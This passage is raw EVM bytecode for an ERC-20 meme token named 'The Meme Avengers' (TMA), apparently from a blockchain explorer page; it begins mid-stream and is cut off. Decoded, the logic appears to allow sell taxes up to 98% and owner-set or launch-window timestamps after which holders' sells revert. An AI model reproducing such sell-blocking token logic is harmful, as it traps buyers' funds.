ffffffffffffffffffffffffffffffff161461156e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156590612ece565b60405180910390fd5b60006009600a61157e91906130f9565b6103e86005600a546115909190613144565b61159a9190613446565b6115a49190613446565b90508083101580156115b65750808210155b6115f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ec906134c3565b60405180910390fd5b6009600a61160391906130f9565b8361160e9190613144565b600c819055506009600a61162291906130f9565b8261162d9190613144565b600d81905550505050565b600e60019054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900460ff1681565b60076020528060005260406000206000915090505481565b60095481565b61170b611826565b73ffffffffffffffffffffffffffffffffffffffff16611729611448565b73ffffffffffffffffffffffffffffffffffffffff161461177f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177690612ece565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036117ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e590613555565b60405180910390fd5b6117f781611fce565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361189d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611894906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613679565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119ea91906129d9565b60405180910390a3505050565b611a02838383612092565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a519190612e4e565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b015750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bbf57611b618285600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612420565b9050611bbe8484600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161461255d565b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c0e9190613186565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7291906129d9565b60405180910390a350505050565b6000804790506000600267ffffffffffffffff811115611ca357611ca2613699565b5b604051908082528060200260200182016040528015611cd15781602001602082028036833780820191505090505b5090503081600081518110611ce957611ce86136c8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611db4919061323b565b81600181518110611dc857611dc76136c8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e2f30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661182e565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401611e939594939291906137b5565b600060405180830381600087803b158015611ead57600080fd5b505af1158015611ec1573d6000803e3d6000fd5b505050508147611ed19190612e4e565b92505050919050565b80471015611f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f149061385b565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051611f43906138ac565b60006040518083038185875af1925050503d8060008114611f80576040519150601f19603f3d011682016040523d82523d6000602084013e611f85565b606091505b5050905080611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc090613933565b60405180910390fd5b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f8906139c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216790613a57565b60405180910390fd5b600081116121b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121aa90613ae9565b60405180910390fd5b600c548111158061220d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61224c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224390613b7b565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166122f657600d54816122aa84610df6565b6122b49190613186565b11156122f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ec90613c0d565b60405180910390fd5b5b600b5461230230610df6565b1015801561231d5750600e60179054906101000a900460ff16155b80156123355750600e60169054906101000a900460ff165b801561238f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156123ce575061239e611448565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561240d57506123dd611448565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561241b5761241a61267f565b5b505050565b6000806064600e60009054906101000a900460ff1660ff16866124439190613144565b61244d9190613446565b90508215612482576064600e60019054906101000a900460ff1660ff16866124759190613144565b61247f9190613446565b90505b60008111156125475780600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124da9190613186565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161253e91906129d9565b60405180910390a35b80856125539190612e4e565b9150509392505050565b80156125e657600860009054906101000a900460ff16156125e1576009600081548092919061258b90613c2d565b919050555060034261259d9190613186565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61267a565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461267957600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421061267857600080fd5b5b5b505050565b6001600e60176101000a81548160ff0219169083151502179055506000606480600b546126ac9190613144565b6126b69190613446565b9050600060646000600b546126cb9190613144565b6126d59190613446565b905060008211156127625760006126eb83611c80565b9050600081111561276057600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561275e573d6000803e3d6000fd5b505b505b60008111156127b157600060028261277a9190613446565b90506000818361278a9190612e4e565b9050600061279783611c80565b905060008111156127ad576127ac8282612851565b5b5050505b60004711156128065761280547600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eda90919063ffffffff16565b5b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a150506000600e60176101000a81548160ff021916908315150217905550565b61287e30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461182e565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719833086600080600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612909969594939291906132cc565b60606040518083038185885af1158015612927573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061294c9190613342565b509150506000818361295e9190612e4e565b11156129bb576129ba81836129739190612e4e565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eda90919063ffffffff16565b5b505050565b6000819050919050565b6129d3816129c0565b82525050565b60006020820190506129ee60008301846129ca565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a2e578082015181840152602081019050612a13565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a56826129f4565b612a6081856129ff565b9350612a70818560208601612a10565b612a7981612a3a565b840191505092915050565b60006020820190508181036000830152612a9e8184612a4b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ad682612aab565b9050919050565b612ae681612acb565b8114612af157600080fd5b50565b600081359050612b0381612add565b92915050565b612b12816129c0565b8114612b1d57600080fd5b50565b600081359050612b2f81612b09565b92915050565b60008060408385031215612b4c57612b4b612aa6565b5b6000612b5a85828601612af4565b9250506020612b6b85828601612b20565b9150509250929050565b60008115159050919050565b612b8a81612b75565b82525050565b6000602082019050612ba56000830184612b81565b92915050565b600080600060608486031215612bc457612bc3612aa6565b5b6000612bd286828701612af4565b9350506020612be386828701612af4565b9250506040612bf486828701612b20565b9150509250925092565b600060208284031215612c1457612c13612aa6565b5b6000612c2284828501612af4565b91505092915050565b600060ff82169050919050565b612c4181612c2b565b8114612c4c57600080fd5b50565b600081359050612c5e81612c38565b92915050565b60008060408385031215612c7b57612c7a612aa6565b5b6000612c8985828601612c4f565b9250506020612c9a85828601612c4f565b9150509250929050565b612cad81612c2b565b82525050565b6000602082019050612cc86000830184612ca4565b92915050565b600060208284031215612ce457612ce3612aa6565b5b6000612cf284828501612b20565b91505092915050565b612d0481612acb565b82525050565b6000602082019050612d1f6000830184612cfb565b92915050565b60008060408385031215612d3c57612d3b612aa6565b5b6000612d4a85828601612b20565b9250506020612d5b85828601612b20565b9150509250929050565b60008060408385031215612d7c57612d7b612aa6565b5b6000612d8a85828601612af4565b9250506020612d9b85828601612af4565b9150509250929050565b6000819050919050565b6000612dca612dc5612dc084612aab565b612da5565b612aab565b9050919050565b6000612ddc82612daf565b9050919050565b6000612dee82612dd1565b9050919050565b612dfe81612de3565b82525050565b6000602082019050612e196000830184612df5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e59826129c0565b9150612e64836129c0565b9250828203905081811115612e7c57612e7b612e1f565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612eb86020836129ff565b9150612ec382612e82565b602082019050919050565b60006020820190508181036000830152612ee781612eab565b9050919050565b7f54617865732063616e27742065786365656420746865206c696d69742e000000600082015250565b6000612f24601d836129ff565b9150612f2f82612eee565b602082019050919050565b60006020820190508181036000830152612f5381612f17565b9050919050565b7f416c7265616479207475726e6564206f66662e00000000000000000000000000600082015250565b6000612f906013836129ff565b9150612f9b82612f5a565b602082019050919050565b60006020820190508181036000830152612fbf81612f83565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561301d57808604811115612ff957612ff8612e1f565b5b60018516156130085780820291505b808102905061301685612fc6565b9450612fdd565b94509492505050565b60008261303657600190506130f2565b8161304457600090506130f2565b816001811461305a576002811461306457613093565b60019150506130f2565b60ff84111561307657613075612e1f565b5b8360020a91508482111561308d5761308c612e1f565b5b506130f2565b5060208310610133831016604e8410600b84101617156130c85782820a9050838111156130c3576130c2612e1f565b5b6130f2565b6130d58484846001612fd3565b925090508184048111156130ec576130eb612e1f565b5b81810290505b9392505050565b6000613104826129c0565b915061310f83612c2b565b925061313c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613026565b905092915050565b600061314f826129c0565b915061315a836129c0565b9250828202613168816129c0565b9150828204841483151761317f5761317e612e1f565b5b5092915050565b6000613191826129c0565b915061319c836129c0565b92508282019050808211156131b4576131b3612e1f565b5b92915050565b7f43616e206f6e6c79206265206f70656e6564206f6e6365000000000000000000600082015250565b60006131f06017836129ff565b91506131fb826131ba565b602082019050919050565b6000602082019050818103600083015261321f816131e3565b9050919050565b60008151905061323581612add565b92915050565b60006020828403121561325157613250612aa6565b5b600061325f84828501613226565b91505092915050565b600060408201905061327d6000830185612cfb565b61328a6020830184612cfb565b9392505050565b6000819050919050565b60006132b66132b16132ac84613291565b612da5565b6129c0565b9050919050565b6132c68161329b565b82525050565b600060c0820190506132e16000830189612cfb565b6132ee60208301886129ca565b6132fb60408301876132bd565b61330860608301866132bd565b6133156080830185612cfb565b61332260a08301846129ca565b979650505050505050565b60008151905061333c81612b09565b92915050565b60008060006060848603121561335b5761335a612aa6565b5b60006133698682870161332d565b935050602061337a8682870161332d565b925050604061338b8682870161332d565b9150509250925092565b60006040820190506133aa6000830185612cfb565b6133b760208301846129ca565b9392505050565b6133c781612b75565b81146133d257600080fd5b50565b6000815190506133e4816133be565b92915050565b600060208284031215613400576133ff612aa6565b5b600061340e848285016133d5565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613451826129c0565b915061345c836129c0565b92508261346c5761346b613417565b5b828204905092915050565b7f496e76616c69642053657474696e677300000000000000000000000000000000600082015250565b60006134ad6010836129ff565b91506134b882613477565b602082019050919050565b600060208201905081810360008301526134dc816134a0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061353f6026836129ff565b915061354a826134e3565b604082019050919050565b6000602082019050818103600083015261356e81613532565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135d16024836129ff565b91506135dc82613575565b604082019050919050565b60006020820190508181036000830152613600816135c4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006136636022836129ff565b915061366e82613607565b604082019050919050565b6000602082019050818103600083015261369281613656565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61372c81612acb565b82525050565b600061373e8383613723565b60208301905092915050565b6000602082019050919050565b6000613762826136f7565b61376c8185613702565b935061377783613713565b8060005b838110156137a857815161378f8882613732565b975061379a8361374a565b92505060018101905061377b565b5085935050505092915050565b600060a0820190506137ca60008301886129ca565b6137d760208301876132bd565b81810360408301526137e98186613757565b90506137f86060830185612cfb565b61380560808301846129ca565b9695505050505050565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000613845601d836129ff565b91506138508261380f565b602082019050919050565b6000602082019050818103600083015261387481613838565b9050919050565b600081905092915050565b50565b600061389660008361387b565b91506138a182613886565b600082019050919050565b60006138b782613889565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b600061391d603a836129ff565b9150613928826138c1565b604082019050919050565b6000602082019050818103600083015261394c81613910565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006139af6025836129ff565b91506139ba82613953565b604082019050919050565b600060208201905081810360008301526139de816139a2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a416023836129ff565b9150613a4c826139e5565b604082019050919050565b60006020820190508181036000830152613a7081613a34565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613ad36029836129ff565b9150613ade82613a77565b604082019050919050565b60006020820190508181036000830152613b0281613ac6565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b6000613b656029836129ff565b9150613b7082613b09565b604082019050919050565b60006020820190508181036000830152613b9481613b58565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785760008201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b6000613bf76026836129ff565b9150613c0282613b9b565b604082019050919050565b60006020820190508181036000830152613c2681613bea565b9050919050565b6000613c38826129c0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613c6a57613c69612e1f565b5b60018201905091905056fea2646970667358221220fe0574e6ac557aac05e4a5929e0d11a4241f12854a4b80a0531f9ecfa12b6fa764736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101e75760003560e01c8063768dc71011610102578063cc1776d311610095578063ef07a18211610064578063ef07a182146106df578063f2fde38b1461070a578063f887ea4014610733578063f8b45b051461075e576101ee565b8063cc1776d31461060f578063dd62ed3e1461063a578063e0a877c814610677578063ee9a5d82146106a2576101ee565b806395d89b41116100d157806395d89b4114610553578063a8aa1b311461057e578063a9059cbb146105a9578063b45ad8ec146105e6576101ee565b8063768dc710146104a95780638a8c523c146104e65780638c0b5e22146104fd5780638da5cb5b14610528576101ee565b80634f7041a51161017a5780636abbaa4d116101495780636abbaa4d1461040157806370a082311461042a578063715018a61461046757806375f0a8741461047e576101ee565b80634f7041a51461037f57806350bf18a6146103aa57806351bc3c85146103c15780636a2b3ade146103d8576101ee565b806323b872dd116101b657806323b872dd146102b157806328c61f41146102ee5780632fbc87231461032b578063313ce56714610354576101ee565b80630445b667146101f357806306fdde031461021e578063095ea7b31461024957806318160ddd14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610789565b60405161021591906129d9565b60405180910390f35b34801561022a57600080fd5b5061023361078f565b6040516102409190612a84565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612b35565b6107cc565b60405161027d9190612b90565b60405180910390f35b34801561029257600080fd5b5061029b6107ea565b6040516102a891906129d9565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612bab565b6107f4565b6040516102e59190612b90565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612bfe565b6108ac565b6040516103229190612b90565b60405180910390f35b34801561033757600080fd5b50610352600480360381019061034d9190612c64565b6108cc565b005b34801561036057600080fd5b50610369610a05565b6040516103769190612cb3565b60405180910390f35b34801561038b57600080fd5b50610394610a0e565b6040516103a19190612cb3565b60405180910390f35b3480156103b657600080fd5b506103bf610a21565b005b3480156103cd57600080fd5b506103d6610b09565b005b3480156103e457600080fd5b506103ff60048036038101906103fa9190612cce565b610c89565b005b34801561040d57600080fd5b5061042860048036038101906104239190612b35565b610d27565b005b34801561043657600080fd5b50610451600480360381019061044c9190612bfe565b610df6565b60405161045e91906129d9565b60405180910390f35b34801561047357600080fd5b5061047c610e3f565b005b34801561048a57600080fd5b50610493610ec7565b6040516104a09190612d0a565b60405180910390f35b3480156104b557600080fd5b506104d060048036038101906104cb9190612bfe565b610eed565b6040516104dd9190612b90565b60405180910390f35b3480156104f257600080fd5b506104fb610f0d565b005b34801561050957600080fd5b50610512611442565b60405161051f91906129d9565b60405180910390f35b34801561053457600080fd5b5061053d611448565b60405161054a9190612d0a565b60405180910390f35b34801561055f57600080fd5b50610568611471565b6040516105759190612a84565b60405180910390f35b34801561058a57600080fd5b506105936114ae565b6040516105a09190612d0a565b60405180910390f35b3480156105b557600080fd5b506105d060048036038101906105cb9190612b35565b6114d4565b6040516105dd9190612b90565b60405180910390f35b3480156105f257600080fd5b5061060d60048036038101906106089190612d25565b6114f2565b005b34801561061b57600080fd5b50610624611638565b6040516106319190612cb3565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190612d65565b61164b565b60405161066e91906129d9565b60405180910390f35b34801561068357600080fd5b5061068c6116d2565b6040516106999190612b90565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190612bfe565b6116e5565b6040516106d691906129d9565b60405180910390f35b3480156106eb57600080fd5b506106f46116fd565b60405161070191906129d9565b60405180910390f35b34801561071657600080fd5b50610731600480360381019061072c9190612bfe565b611703565b005b34801561073f57600080fd5b506107486117fa565b6040516107559190612e04565b60405180910390f35b34801561076a57600080fd5b50610773611820565b60405161078091906129d9565b60405180910390f35b600b5481565b60606040518060400160405280601181526020017f546865204d656d65204176656e67657273000000000000000000000000000000815250905090565b60006107e06107d9611826565b848461182e565b6001905092915050565b6000600a54905090565b60006108018484846119f7565b6108a18461080d611826565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610857611826565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461089c9190612e4e565b61182e565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b6108d4611826565b73ffffffffffffffffffffffffffffffffffffffff166108f2611448565b73ffffffffffffffffffffffffffffffffffffffff1614610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90612ece565b60405180910390fd5b60238260ff1611158015610960575060628160ff1611155b61099f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099690612f3a565b60405180910390fd5b81600e60006101000a81548160ff021916908360ff16021790555080600e60016101000a81548160ff021916908360ff1602179055507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050565b60006009905090565b600e60009054906101000a900460ff1681565b610a29611826565b73ffffffffffffffffffffffffffffffffffffffff16610a47611448565b73ffffffffffffffffffffffffffffffffffffffff1614610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490612ece565b60405180910390fd5b600860009054906101000a900460ff16610aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae390612fa6565b60405180910390fd5b6000600860006101000a81548160ff021916908315150217905550565b6001600e60176101000a81548160ff021916908315150217905550600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7e57600080fd5b6000610b8930610df6565b90506000811115610c16576000610b9f82611c80565b90506000811115610c1457600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c12573d6000803e3d6000fd5b505b505b6000471115610c6b57610c6a47600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eda90919063ffffffff16565b5b506000600e60176101000a81548160ff021916908315150217905550565b610c91611826565b73ffffffffffffffffffffffffffffffffffffffff16610caf611448565b73ffffffffffffffffffffffffffffffffffffffff1614610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc90612ece565b60405180910390fd5b6009600a610d1391906130f9565b81610d1e9190613144565b600b8190555050565b610d2f611826565b73ffffffffffffffffffffffffffffffffffffffff16610d4d611448565b73ffffffffffffffffffffffffffffffffffffffff1614610da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9a90612ece565b60405180910390fd5b8042610daf9190613186565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e47611826565b73ffffffffffffffffffffffffffffffffffffffff16610e65611448565b73ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290612ece565b60405180910390fd5b610ec56000611fce565b565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b610f15611826565b73ffffffffffffffffffffffffffffffffffffffff16610f33611448565b73ffffffffffffffffffffffffffffffffffffffff1614610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090612ece565b60405180910390fd5b600e60169054906101000a900460ff1615610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090613206565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561103f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611063919061323b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ee919061323b565b6040518363ffffffff1660e01b815260040161110b929190613268565b6020604051808303816000875af115801561112a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114e919061323b565b905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061127b30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660001961182e565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306009600a6112c991906130f9565b630503d8106112d89190613144565b6112e130610df6565b6112eb9190612e4e565b6000806112f6611448565b426040518863ffffffff1660e01b8152600401611318969594939291906132cc565b60606040518083038185885af1158015611336573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061135b9190613342565b505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016113df929190613395565b6020604051808303816000875af11580156113fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142291906133ea565b506001600e60166101000a81548160ff0219169083151502179055505050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f544d410000000000000000000000000000000000000000000000000000000000815250905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006114e86114e1611826565b84846119f7565b6001905092915050565b6114fa611826565b73ffffffffffffffffffffffffffffffffffffffff16611518611448565b73ffffffffffffffffffffffffffffffffffffffff161461156e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156590612ece565b60405180910390fd5b60006009600a61157e91906130f9565b6103e86005600a546115909190613144565b61159a9190613446565b6115a49190613446565b90508083101580156115b65750808210155b6115f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ec906134c3565b60405180910390fd5b6009600a61160391906130f9565b8361160e9190613144565b600c819055506009600a61162291906130f9565b8261162d9190613144565b600d81905550505050565b600e60019054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900460ff1681565b60076020528060005260406000206000915090505481565b60095481565b61170b611826565b73ffffffffffffffffffffffffffffffffffffffff16611729611448565b73ffffffffffffffffffffffffffffffffffffffff161461177f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177690612ece565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036117ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e590613555565b60405180910390fd5b6117f781611fce565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361189d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611894906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613679565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084